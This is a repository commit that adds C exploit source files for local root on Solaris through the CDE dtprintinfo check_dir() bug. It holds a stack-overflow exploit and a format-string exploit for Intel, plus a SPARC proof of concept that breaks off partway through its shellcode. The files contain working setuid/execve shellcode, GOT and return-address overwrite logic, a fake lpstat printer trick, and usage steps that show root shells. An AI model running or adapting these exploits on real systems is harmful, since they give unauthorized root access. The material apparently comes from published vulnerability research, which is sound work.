Projects STRLCPY 0xdea-exploits Commits 1cbd01d6
🤬
  • ■ ■ ■ ■ ■ ■
    solaris/raptor_dtprintcheckdir_intel.c
     1 +/*
     2 + * raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE
     3 + * Copyright (c) 2020 Marco Ivaldi <[email protected]>
     4 + *
     5 + * "What we do in life echoes in eternity" -- Maximus Decimus Meridius
     6 + * https://patchfriday.com/22/
     7 + *
     8 + * Another buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
     9 + * local root. This one was discovered by Marti Guasch Jimenez, who attended my
     10 + * talk "A bug's life: story of a Solaris 0day" presented at #INFILTRATE19 on
     11 + * May 2nd, 2019 (https://github.com/0xdea/raptor_infiltrate19).
     12 + *
     13 + * It's a stack-based buffer overflow in the check_dir() function:
     14 + * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...){
     15 + * char local_724 [300];
     16 + * ...
     17 + * __format = getenv("REQ_DIR");
     18 + * sprintf(local_724,__format,param_2);
     19 + *
     20 + * "To trigger this vulnerability we need a printer present, we can also fake
     21 + * it with the lpstat trick. We also need at least one directory in the path
     22 + * pointed by the environment variable TMP_DIR. Finally, we just need to set
     23 + * REQ_DIR with a value of 0x720 of padding + value to overwrite EBP + value to
     24 + * overwrite EIP." -- Marti Guasch Jimenez
     25 + *
     26 + * This bug was likely fixed during the general cleanup of CDE code done by
     27 + * Oracle in response to my recently reported vulnerabilities. However, I can't
     28 + * confirm this because I have no access to their patches:/
     29 + *
     30 + * Usage:
     31 + * $ gcc raptor_dtprintcheckdir_intel.c -o raptor_dtprintcheckdir_intel -Wall
     32 + * [on your xserver: disable the access control]
     33 + * $ ./raptor_dtprintcheckdir_intel 192.168.1.1:0
     34 + * [on your xserver: double click on the fake "fnord" printer]
     35 + * [...]
     36 + * # id
     37 + * uid=0(root) gid=1(other)
     38 + * #
     39 + *
     40 + * Tested on:
     41 + * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
     42 + * [previous Solaris versions are also likely vulnerable]
     43 + */
     44 + 
     45 +#include <fcntl.h>
     46 +#include <link.h>
     47 +#include <procfs.h>
     48 +#include <stdio.h>
     49 +#include <stdlib.h>
     50 +#include <strings.h>
     51 +#include <unistd.h>
     52 +#include <sys/stat.h>
     53 +#include <sys/systeminfo.h>
     54 +#include <sys/types.h>
     55 + 
     56 +#define INFO1 "raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE"
     57 +#define INFO2 "Copyright (c) 2020 Marco Ivaldi <[email protected]>"
     58 + 
     59 +#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
     60 +#define BUFSIZE 2048 // size of the evil env var
     61 + 
     62 +char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
     63 +/* double setuid() */
     64 +"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
     65 +"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
     66 +/* execve() */
     67 +"\x31\xc0\x50\x68/ksh\x68/bin"
     68 +"\x89\xe3\x50\x53\x89\xe2\x50"
     69 +"\x52\x53\xb0\x3b\x50\xcd\x91";
     70 + 
     71 +/* globals */
     72 +char *arg[2] = {"foo", NULL};
     73 +char *env[256];
     74 +int env_pos = 0, env_len = 0;
     75 + 
     76 +/* prototypes */
     77 +int add_env(char *string);
     78 +void check_zero(int addr, char *pattern);
     79 +int get_sc_addr(char *path, char **argv);
     80 +int search_ldso(char *sym);
     81 +int search_rwx_mem(void);
     82 +void set_val(char *buf, int pos, int val);
     83 + 
     84 +/*
     85 + * main()
     86 + */
     87 +int main(int argc, char **argv)
     88 +{
     89 + char buf[BUFSIZE];
     90 + char platform[256], release[256], display[256];
     91 + int i, sc_addr;
     92 + 
     93 + int sb = ((int)argv[0] | 0xfff); /* stack base */
     94 + int ret = search_ldso("strcpy"); /* or sprintf */
     95 + int rwx_mem = search_rwx_mem(); /* rwx memory */
     96 + 
     97 + /* lpstat code to add a fake printer */
     98 + if (!strcmp(argv[0], "lpstat")) {
     99 + 
     100 + /* check command line */
     101 + if (argc != 2)
     102 + exit(1);
     103 + 
     104 + /* print the expected output and exit */
     105 + if(!strcmp(argv[1], "-v")) {
     106 + fprintf(stderr, "lpstat called with -v\n");
     107 + printf("device for fnord: /dev/null\n");
     108 + } else {
     109 + fprintf(stderr, "lpstat called with -d\n");
     110 + printf("system default destination: fnord\n");
     111 + }
     112 + exit(0);
     113 + }
     114 + 
     115 + /* helper program that prints argv[0] address, used by get_sc_addr() */
     116 + if (!strcmp(argv[0], "foo")) {
     117 + printf("0x%p\n", argv[0]);
     118 + exit(0);
     119 + }
     120 + 
     121 + /* print exploit information */
     122 + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
     123 + 
     124 + /* process command line */
     125 + if (argc != 2) {
     126 + fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
     127 + exit(1);
     128 + }
     129 + sprintf(display, "DISPLAY=%s", argv[1]);
     130 + 
     131 + /* prepare the evil env var */
     132 + memset(buf, 'A', sizeof(buf));
     133 + buf[sizeof(buf) - 1] = 0x0;
     134 + memcpy(buf, "REQ_DIR=", 8);
     135 + 
     136 + /* fill the envp, keeping padding */
     137 + add_env(sc);
     138 + add_env(buf);
     139 + add_env(display);
     140 + add_env("TMP_DIR=/tmp");
     141 + add_env("PATH=.:/usr/bin");
     142 + add_env("HOME=/tmp");
     143 + add_env(NULL);
     144 + 
     145 + /* calculate the shellcode address */
     146 + sc_addr = get_sc_addr(VULN, argv);
     147 + 
     148 + /* fill with ld.so.1 address, saved eip, and arguments */
     149 + for (i = 12; i < BUFSIZE - 20; i += 4) {
     150 + set_val(buf, i, ret); /* strcpy */
     151 + set_val(buf, i += 4, rwx_mem); /* saved eip */
     152 + set_val(buf, i += 4, rwx_mem); /* 1st argument */
     153 + set_val(buf, i += 4, sc_addr); /* 2nd argument */
     154 + }
     155 + 
     156 + /* we need at least one directory inside TMP_DIR to trigger the bug */
     157 + mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
     158 + 
     159 + /* create a symlink for the fake lpstat */
     160 + unlink("lpstat");
     161 + symlink(argv[0], "lpstat");
     162 + 
     163 + /* print some output */
     164 + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
     165 + sysinfo(SI_RELEASE, release, sizeof(release) - 1);
     166 + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
     167 + fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
     168 + fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
     169 + fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
     170 + fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
     171 + 
     172 + /* check for null bytes */
     173 + check_zero(sc_addr, "sc address");
     174 + 
     175 + /* run the vulnerable program */
     176 + execve(VULN, arg, env);
     177 + perror("execve");
     178 + exit(1);
     179 +}
     180 + 
     181 +/*
     182 + * add_env(): add a variable to envp and pad if needed
     183 + */
     184 +int add_env(char *string)
     185 +{
     186 + int i;
     187 + 
     188 + /* null termination */
     189 + if (!string) {
     190 + env[env_pos] = NULL;
     191 + return env_len;
     192 + }
     193 + 
     194 + /* add the variable to envp */
     195 + env[env_pos] = string;
     196 + env_len += strlen(string) + 1;
     197 + env_pos++;
     198 + 
     199 + /* pad the envp using zeroes */
     200 + if ((strlen(string) + 1) % 4)
     201 + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
     202 + env[env_pos] = string + strlen(string);
     203 + env_len++;
     204 + }
     205 + 
     206 + return env_len;
     207 +}
     208 + 
     209 +/*
     210 + * check_zero(): check an address for the presence of a 0x00
     211 + */
     212 +void check_zero(int addr, char *pattern)
     213 +{
     214 + if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
     215 + !(addr & 0xff000000)) {
     216 + fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
     217 + exit(1);
     218 + }
     219 +}
     220 + 
     221 +/*
     222 + * get_sc_addr(): get shellcode address using a helper program
     223 + */
     224 +int get_sc_addr(char *path, char **argv)
     225 +{
     226 + char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
     227 + char hex[11] = "\x00";
     228 + int fd[2], addr;
     229 + 
     230 + /* truncate program name at correct length and create a hard link */
     231 + prog[strlen(path)] = 0x0;
     232 + unlink(prog);
     233 + link(argv[0], prog);
     234 + 
     235 + /* open pipe to read program output */
     236 + if (pipe(fd) < 0) {
     237 + perror("pipe");
     238 + exit(1);
     239 + }
     240 + 
     241 + switch(fork()) {
     242 + 
     243 + case -1: /* cannot fork */
     244 + perror("fork");
     245 + exit(1);
     246 + 
     247 + case 0: /* child */
     248 + dup2(fd[1], 1);
     249 + close(fd[0]);
     250 + close(fd[1]);
     251 + execve(prog, arg, env);
     252 + perror("execve");
     253 + exit(1);
     254 + 
     255 + default: /* parent */
     256 + close(fd[1]);
     257 + read(fd[0], hex, sizeof(hex));
     258 + break;
     259 + }
     260 + 
     261 + /* check and return address */
     262 + if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
     263 + fprintf(stderr, "error: cannot read sc address from helper program\n");
     264 + exit(1);
     265 + }
     266 + return addr;
     267 +}
     268 + 
     269 +/*
     270 + * search_ldso(): search for a symbol inside ld.so.1
     271 + */
     272 +int search_ldso(char *sym)
     273 +{
     274 + int addr;
     275 + void *handle;
     276 + Link_map *lm;
     277 + 
     278 + /* open the executable object file */
     279 + if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
     280 + perror("dlopen");
     281 + exit(1);
     282 + }
     283 + 
     284 + /* get dynamic load information */
     285 + if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
     286 + perror("dlinfo");
     287 + exit(1);
     288 + }
     289 + 
     290 + /* search for the address of the symbol */
     291 + if ((addr = (int)dlsym(handle, sym)) == NULL) {
     292 + fprintf(stderr, "sorry, function %s() not found\n", sym);
     293 + exit(1);
     294 + }
     295 + 
     296 + /* close the executable object file */
     297 + dlclose(handle);
     298 + 
     299 + check_zero(addr - 4, sym);
     300 + return addr;
     301 +}
     302 + 
     303 +/*
     304 + * search_rwx_mem(): search for an RWX memory segment valid for all
     305 + * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
     306 + */
     307 +int search_rwx_mem(void)
     308 +{
     309 + int fd;
     310 + char tmp[16];
     311 + prmap_t map;
     312 + int addr = 0, addr_old;
     313 + 
     314 + /* open the proc filesystem */
     315 + sprintf(tmp,"/proc/%d/map", (int)getpid());
     316 + if ((fd = open(tmp, O_RDONLY)) < 0) {
     317 + fprintf(stderr, "can't open %s\n", tmp);
     318 + exit(1);
     319 + }
     320 + 
     321 + /* search for the last RWX memory segment before stack (last - 1) */
     322 + while (read(fd, &map, sizeof(map)))
     323 + if (map.pr_vaddr)
     324 + if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
     325 + addr_old = addr;
     326 + addr = map.pr_vaddr;
     327 + }
     328 + close(fd);
     329 + 
     330 + /* add 4 to the exact address null bytes */
     331 + if (!(addr_old & 0xff))
     332 + addr_old |= 0x04;
     333 + if (!(addr_old & 0xff00))
     334 + addr_old |= 0x0400;
     335 + 
     336 + return addr_old;
     337 +}
     338 + 
     339 +/*
     340 + * set_val(): copy a dword inside a buffer (little endian)
     341 + */
     342 +void set_val(char *buf, int pos, int val)
     343 +{
     344 + buf[pos] = (val & 0x000000ff);
     345 + buf[pos + 1] = (val & 0x0000ff00) >> 8;
     346 + buf[pos + 2] = (val & 0x00ff0000) >> 16;
     347 + buf[pos + 3] = (val & 0xff000000) >> 24;
     348 +}
     349 + 
  • ■ ■ ■ ■ ■ ■
    solaris/raptor_dtprintcheckdir_intel2.c
     1 +/*
     2 + * raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE
     3 + * Copyright (c) 2020 Marco Ivaldi <[email protected]>
     4 + *
     5 + * "I'm gonna have to go into hardcore hacking mode!" -- Hackerman
     6 + * https://youtu.be/KEkrWRHCDQU
     7 + *
     8 + * Same code snippet, different vulnerability. 20 years later, format string
     9 + * bugs are not extinct after all! The vulnerable function looks like this:
     10 + *
     11 + * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...)
     12 + * {
     13 + * ...
     14 + * char local_724 [300];
     15 + * ...
     16 + * else {
     17 + * __format = getenv("REQ_DIR");
     18 + * sprintf(local_724,__format,param_2); // [1]
     19 + * }
     20 + * ...
     21 + * local_c = strlen(local_724); // [2]
     22 + * sprintf(local_5f8,"/var/spool/lp/tmp/%s/",param_2); // [3]
     23 + * ...
     24 + * }
     25 + *
     26 + * The plan (inspired by an old technique devised by gera) is to exploit the
     27 + * sprintf at [1], where we control the format string, to replace the strlen
     28 + * at [2] with a strdup and the sprintf at [3] with a call to the shellcode
     29 + * dynamically allocated in the heap by strdup and pointed to by the local_c
     30 + * variable at [2]. In practice, to pull this off the structure of the evil
     31 + * environment variable REQ_DIR must be:
     32 + * [sc] [pad] [.got/strlen] [.got/sprintf] [stackpop] [W .plt/strdup] [W call *-0x8(%ebp)]
     33 + *
     34 + * To collect the needed addresses for your system, use:
     35 + * $ objdump -R /usr/dt/bin/dtprintinfo | grep strlen # .got
     36 + * 080994cc R_386_JUMP_SLOT strlen
     37 + * $ objdump -R /usr/dt/bin/dtprintinfo | grep sprintf # .got
     38 + * 080994e4 R_386_JUMP_SLOT sprintf
     39 + * $ objdump -x /usr/dt/bin/dtprintinfo | grep strdup # .plt
     40 + * 0805df20 F *UND* 00000000 strdup
     41 + * $ objdump -d /usr/dt/bin/dtprintinfo | grep call | grep ebp | grep -- -0x8 # .text
     42 + * 08067f52: ff 55 f8 call *-0x8(%ebp)
     43 + *
     44 + * This bug was likely fixed during the general cleanup of CDE code done by
     45 + * Oracle in response to my recently reported vulnerabilities. However, I can't
     46 + * confirm this because I have no access to their patches:/
     47 + *
     48 + * See also:
     49 + * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
     50 + * raptor_dtprintcheckdir_sparc.c (just a proof of concept)
     51 + * raptor_dtprintcheckdir_sparc2.c (the real deal)
     52 + *
     53 + * Usage:
     54 + * $ gcc raptor_dtprintcheckdir_intel2.c -o raptor_dtprintcheckdir_intel2 -Wall
     55 + * [on your xserver: disable the access control]
     56 + * $ ./raptor_dtprintcheckdir_intel2 192.168.1.1:0
     57 + * [on your xserver: double click on the fake "fnord" printer]
     58 + * [...]
     59 + * # id
     60 + * uid=0(root) gid=1(other)
     61 + * #
     62 + *
     63 + * Tested on:
     64 + * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
     65 + * [previous Solaris versions are also likely vulnerable]
     66 + */
     67 + 
     68 +#include <stdio.h>
     69 +#include <stdlib.h>
     70 +#include <strings.h>
     71 +#include <unistd.h>
     72 +#include <sys/stat.h>
     73 +#include <sys/systeminfo.h>
     74 + 
     75 +#define INFO1 "raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE"
     76 +#define INFO2 "Copyright (c) 2020 Marco Ivaldi <[email protected]>"
     77 + 
     78 +#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program
     79 +#define BUFSIZE 300 // size of evil env var
     80 +#define STACKPOPSEQ "%.8x" // stackpop sequence
     81 +#define STACKPOPS 14 // number of stackpops
     82 + 
     83 +/* replace with valid addresses for your system */
     84 +#define STRLEN 0x080994cc // .got strlen address
     85 +#define SPRINTF 0x080994e4 // .got sprintf address
     86 +#define STRDUP 0x0805df20 // .plt strdup address
     87 +#define RET 0x08067f52 // call *-0x8(%ebp) address
     88 + 
     89 +/* split an address in 4 bytes */
     90 +#define SPLITB(b1, b2, b3, b4, addr) { \
     91 + b1 = (addr & 0x000000ff); \
     92 + b2 = (addr & 0x0000ff00) >> 8; \
     93 + b3 = (addr & 0x00ff0000) >> 16; \
     94 + b4 = (addr & 0xff000000) >> 24; \
     95 +}
     96 + 
     97 +char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
     98 +/* double setuid() */
     99 +"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
     100 +"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
     101 +/* execve() */
     102 +"\x31\xc0\x50\x68/ksh\x68/bin"
     103 +"\x89\xe3\x50\x53\x89\xe2\x50"
     104 +"\x52\x53\xb0\x3b\x50\xcd\x91";
     105 + 
     106 +/* globals */
     107 +char *arg[2] = {"foo", NULL};
     108 +char *env[256];
     109 +int env_pos = 0, env_len = 0;
     110 + 
     111 +/* prototypes */
     112 +int add_env(char *string);
     113 + 
     114 +/*
     115 + * main()
     116 + */
     117 +int main(int argc, char **argv)
     118 +{
     119 + char buf[BUFSIZE], *p = buf;
     120 + char platform[256], release[256], display[256];
     121 + 
     122 + int i, stackpops = STACKPOPS;
     123 + unsigned base, n1, n2, n3, n4, n5, n6, n7, n8;
     124 + unsigned char strdup1, strdup2, strdup3, strdup4;
     125 + unsigned char ret1, ret2, ret3, ret4;
     126 + 
     127 + int strlen_got = STRLEN;
     128 + int sprintf_got = SPRINTF;
     129 + int strdup_plt = STRDUP;
     130 + int ret = RET;
     131 + 
     132 + /* lpstat code to add a fake printer */
     133 + if (!strcmp(argv[0], "lpstat")) {
     134 + 
     135 + /* check command line */
     136 + if (argc != 2)
     137 + exit(1);
     138 + 
     139 + /* print the expected output and exit */
     140 + if(!strcmp(argv[1], "-v")) {
     141 + fprintf(stderr, "lpstat called with -v\n");
     142 + printf("device for fnord: /dev/null\n");
     143 + } else {
     144 + fprintf(stderr, "lpstat called with -d\n");
     145 + printf("system default destination: fnord\n");
     146 + }
     147 + exit(0);
     148 + }
     149 + 
     150 + /* print exploit information */
     151 + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
     152 + 
     153 + /* process command line */
     154 + if (argc != 2) {
     155 + fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
     156 + exit(1);
     157 + }
     158 + sprintf(display, "DISPLAY=%s", argv[1]);
     159 + 
     160 + /* evil env var: name + shellcode + padding */
     161 + bzero(buf, BUFSIZE);
     162 + sprintf(buf, "REQ_DIR=%s#", sc);
     163 + p += strlen(buf);
     164 + 
     165 + /* format string: .got strlen address */
     166 + *((void **)p) = (void *)(strlen_got); p += 4;
     167 + memset(p, 'A', 4); p += 4; /* dummy */
     168 + *((void **)p) = (void *)(strlen_got + 1); p += 4;
     169 + memset(p, 'A', 4); p += 4; /* dummy */
     170 + *((void **)p) = (void *)(strlen_got + 2); p += 4;
     171 + memset(p, 'A', 4); p += 4; /* dummy */
     172 + *((void **)p) = (void *)(strlen_got + 3); p += 4;
     173 + memset(p, 'A', 4); p += 4; /* dummy */
     174 + 
     175 + /* format string: .got sprintf address */
     176 + *((void **)p) = (void *)(sprintf_got); p += 4;
     177 + memset(p, 'A', 4); p += 4; /* dummy */
     178 + *((void **)p) = (void *)(sprintf_got + 1); p += 4;
     179 + memset(p, 'A', 4); p += 4; /* dummy */
     180 + *((void **)p) = (void *)(sprintf_got + 2); p += 4;
     181 + memset(p, 'A', 4); p += 4; /* dummy */
     182 + *((void **)p) = (void *)(sprintf_got + 3); p += 4;
     183 + 
     184 + /* format string: stackpop sequence */
     185 + base = strlen(buf) - strlen("REQ_DIR=");
     186 + for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
     187 + strcat(p, STACKPOPSEQ);
     188 + 
     189 + /* calculate numeric arguments for .plt strdup address */
     190 + SPLITB(strdup1, strdup2, strdup3, strdup4, strdup_plt);
     191 + n1 = (strdup1 - base) % 0x100;
     192 + n2 = (strdup2 - base - n1) % 0x100;
     193 + n3 = (strdup3 - base - n1 - n2) % 0x100;
     194 + n4 = (strdup4 - base - n1 - n2 - n3) % 0x100;
     195 + 
     196 + /* calculate numeric arguments for call *-0x8(%ebp) address */
     197 + SPLITB(ret1, ret2, ret3, ret4, ret);
     198 + n5 = (ret1 - base - n1 - n2 - n3 - n4) % 0x100;
     199 + n6 = (ret2 - base - n1 - n2 - n3 - n4 - n5) % 0x100;
     200 + n7 = (ret3 - base - n1 - n2 - n3 - n4 - n5 - n6) % 0x100;
     201 + n8 = (ret4 - base - n1 - n2 - n3 - n4 - n5 - n6 - n7) % 0x100;
     202 + 
     203 + /* check for potentially dangerous numeric arguments below 10 */
     204 + n1 += (n1 < 10) ? (0x100) : (0);
     205 + n2 += (n2 < 10) ? (0x100) : (0);
     206 + n3 += (n3 < 10) ? (0x100) : (0);
     207 + n4 += (n4 < 10) ? (0x100) : (0);
     208 + n5 += (n5 < 10) ? (0x100) : (0);
     209 + n6 += (n6 < 10) ? (0x100) : (0);
     210 + n7 += (n7 < 10) ? (0x100) : (0);
     211 + n8 += (n8 < 10) ? (0x100) : (0);
     212 + 
     213 + /* format string: write string */
     214 + sprintf(p, "%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n", n1, n2, n3, n4, n5, n6, n7, n8);
     215 + 
     216 + /* fill the envp, keeping padding */
     217 + add_env(buf);
     218 + add_env(display);
     219 + add_env("TMP_DIR=/tmp");
     220 + add_env("PATH=.:/usr/bin");
     221 + add_env("HOME=/tmp");
     222 + add_env(NULL);
     223 + 
     224 + /* we need at least one directory inside TMP_DIR to trigger the bug */
     225 + mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
     226 + 
     227 + /* create a symlink for the fake lpstat */
     228 + unlink("lpstat");
     229 + symlink(argv[0], "lpstat");
     230 + 
     231 + /* print some output */
     232 + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
     233 + sysinfo(SI_RELEASE, release, sizeof(release) - 1);
     234 + fprintf(stderr, "Using SI_PLATFORM\t\t: %s (%s)\n", platform, release);
     235 + fprintf(stderr, "Using strlen address in .got\t: 0x%p\n", (void *)strlen_got);
     236 + fprintf(stderr, "Using sprintf address in .got\t: 0x%p\n", (void *)sprintf_got);
     237 + fprintf(stderr, "Using strdup address in .plt\t: 0x%p\n", (void *)strdup_plt);
     238 + fprintf(stderr, "Using call *-0x8(%%ebp) address\t: 0x%p\n\n", (void *)ret);
     239 + 
     240 + /* run the vulnerable program */
     241 + execve(VULN, arg, env);
     242 + perror("execve");
     243 + exit(1);
     244 +}
     245 + 
     246 +/*
     247 + * add_env(): add a variable to envp and pad if needed
     248 + */
     249 +int add_env(char *string)
     250 +{
     251 + int i;
     252 + 
     253 + /* null termination */
     254 + if (!string) {
     255 + env[env_pos] = NULL;
     256 + return env_len;
     257 + }
     258 + 
     259 + /* add the variable to envp */
     260 + env[env_pos] = string;
     261 + env_len += strlen(string) + 1;
     262 + env_pos++;
     263 + 
     264 + /* pad the envp using zeroes */
     265 + if ((strlen(string) + 1) % 4)
     266 + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
     267 + env[env_pos] = string + strlen(string);
     268 + env_len++;
     269 + }
     270 + 
     271 + return env_len;
     272 +}
     273 + 
  • ■ ■ ■ ■ ■ ■
    solaris/raptor_dtprintcheckdir_sparc.c
     1 +/*
     2 + * raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC
     3 + * Copyright (c) 2020 Marco Ivaldi <[email protected]>
     4 + *
     5 + * "Mimimimimimimi
     6 + * Mimimi only mimi
     7 + * Mimimimimimimi
     8 + * Mimimi sexy mi"
     9 + * -- Serebro
     10 + *
     11 + * As usual, exploitation on SPARC turned out to be much more complicated (and
     12 + * fun) than on Intel. Since the vulnerable program needs to survive one
     13 + * additional function before we can hijack %pc, the classic stack-based buffer
     14 + * overflow approach didn't seem feasible in this case. Therefore, I opted for
     15 + * the format string bug. This is just a proof of concept, 'cause guess what --
     16 + * on my system it works only when gdb or truss are attached to the target
     17 + * process:( To borrow Neel Mehta's words:
     18 + *
     19 + * "It's quite common to find an exploit that only works with GDB attached to
     20 + * the process, simply because without the debugger, break register windows
     21 + * aren't flushed to the stack and the overwrite has no effect."
     22 + * -- The Shellcoder's Handbook
     23 + *
     24 + * On different hardware configurations this exploit might work if the correct
     25 + * retloc and offset are provided. It might also be possible to force a context
     26 + * switch at the right time that results in registers being flushed to the
     27 + * stack at the right moment. However, this method tends to be unreliable even
     28 + * when the attack is repeatable like in this case. A better way to solve the
     29 + * puzzle would be to overwrite something different, e.g.:
     30 + *
     31 + * - Activation records of other functions, such as check_dir() (same issues)
     32 + * - Callback to function SortJobs() (nope, address is hardcoded in .text)
     33 + * - PLT in the binary (I need a different technique to handle null bytes)
     34 + * - PLT (R_SPARC_JMP_SLOT) in libc (no null bytes, this looks promising!)
     35 + * - Other OS function pointers I'm not aware of still present in Solaris 10
     36 + *
     37 + * Finally, it might be possible to combine the stack-based buffer overflow and
     38 + * the format string bug to surgically fix addresses and survive until needed
     39 + * for program flow hijacking to be possible. Bottom line: there's still some
     40 + * work to do to obtain a reliable exploit, but I think it's feasible. You're
     41 + * welcome to try yourself if you feel up to the task and have a spare SPARC
     42 + * box;) [spoiler alert: I did it myself, see raptor_dtprintcheckdir_sparc2.c]
     43 + *
     44 + * This bug was likely fixed during the general cleanup of CDE code done by
     45 + * Oracle in response to my recently reported vulnerabilities. However, I can't
     46 + * confirm this because I have no access to their patches:/
     47 + *
     48 + * See also:
     49 + * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
     50 + * raptor_dtprintcheckdir_intel2.c
     51 + * raptor_dtprintcheckdir_sparc2.c (the real deal)
     52 + *
     53 + * Usage:
     54 + * $ gcc raptor_dtprintcheckdir_sparc.c -o raptor_dtprintcheckdir_sparc -Wall
     55 + * [on your xserver: disable the access control]
     56 + * $ truss -u a.out -u '*' -fae ./raptor_dtprintcheckdir_sparc 192.168.1.1:0
     57 + * [on your xserver: double click on the fake "fnord" printer]
     58 + * ...
     59 + * -> __0FJcheck_dirPcTBPPP6QStatusLineStructPii(0xfe584e58, 0xff2a4042, 0x65db0, 0xffbfc50c)
     60 + * -> libc:getenv(0x4e8f8, 0x0, 0x0, 0x0)
     61 + * <- libc:getenv() = 0xffbff364
     62 + * -> libc:getenv(0x4e900, 0x1, 0xf9130, 0x0)
     63 + * <- libc:getenv() = 0xffbff364
     64 + * -> libc:sprintf(0xffbfc1bc, 0xffbff364, 0xff2a4042, 0x0)
     65 + * ...
     66 + * setuid(0) = 0
     67 + * chmod("/bin/ksh", 037777777777) = 0
     68 + * _exit(0)
     69 + * $ ksh
     70 + * # id
     71 + * uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
     72 + * #
     73 + *
     74 + * Tested on:
     75 + * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
     76 + * [previous Solaris versions are also likely vulnerable (and easier to exploit)]
     77 + */
     78 + 
     79 +#include <fcntl.h>
     80 +#include <link.h>
     81 +#include <procfs.h>
     82 +#include <stdio.h>
     83 +#include <stdlib.h>
     84 +#include <strings.h>
     85 +#include <unistd.h>
     86 +#include <sys/stat.h>
     87 +#include <sys/systeminfo.h>
     88 + 
     89 +#define INFO1 "raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC"
     90 +#define INFO2 "Copyright (c) 2020 Marco Ivaldi <[email protected]>"
     91 + 
     92 +#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program
     93 +#define BUFSIZE 3000 // size of evil env var
     94 +#define BUFSIZE2 10000 // size of padding buf
     95 +#define STACKPOPSEQ "%.8x" // stackpop sequence
     96 +#define STACKPOPS 383 // number of stackpops
     97 + 
     98 +/* default retloc and offset for sprintf() */
     99 +#define RETLOC 0xffbfbb3c // saved ret location
     100 +#define OFFSET 84 // offset from retloc to i0loc
     101 + 
     102 +/* default retloc and offset for check_dir() */
     103 +/* TODO: patch %i6 that gets corrupted by overflow */
     104 +//#define RETLOC 0xffbfbbac // default saved ret location
     105 +//#define OFFSET 1884 // default offset from retloc to i0loc
     106 + 
     107 +/* split an address in 4 bytes */
     108 +#define SPLITB(B1, B2, B3, B4, ADDR) { \
     109 + B4 = (ADDR & 0x000000ff); \
     110 + B3 = (ADDR & 0x0000ff00) >> 8; \
     111 + B2 = (ADDR & 0x00ff0000) >> 16; \
     112 + B1 = (ADDR & 0xff000000) >> 24; \
     113 +}
     114 + 
     115 +/* calculate numeric arguments for write string */
     116 +#define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \
     117 + N1 = (B4 - BASE) % 0x100; \
     118 + N2 = (B2 - BASE - N1) % 0x100; \
     119 + N3 = (B1 - BASE - N1 - N2) % 0x100; \
     120 + N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \
     121 + BASE += N1 + N2 + N3 + N4; \
     122 +}
     123 + 
     124 +//#define USE_EXEC_SC // uncomment to use exec shellcode
     125 + 
     126 +#ifdef USE_EXEC_SC
     127 + char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */
     128 + /* setuid(0) */
     129 + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
     130 + "\x82\x10\x20\x17" /* mov 0x17, %g1 */
     131 + "\x91\xd0\x20\x08" /* ta 8 */
     132 + /* execve("/bin/ksh", argv, NULL) */
     133 + "\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */
     134 + "\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */
     135 + "\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */
     136 + "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
     137 + "\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */
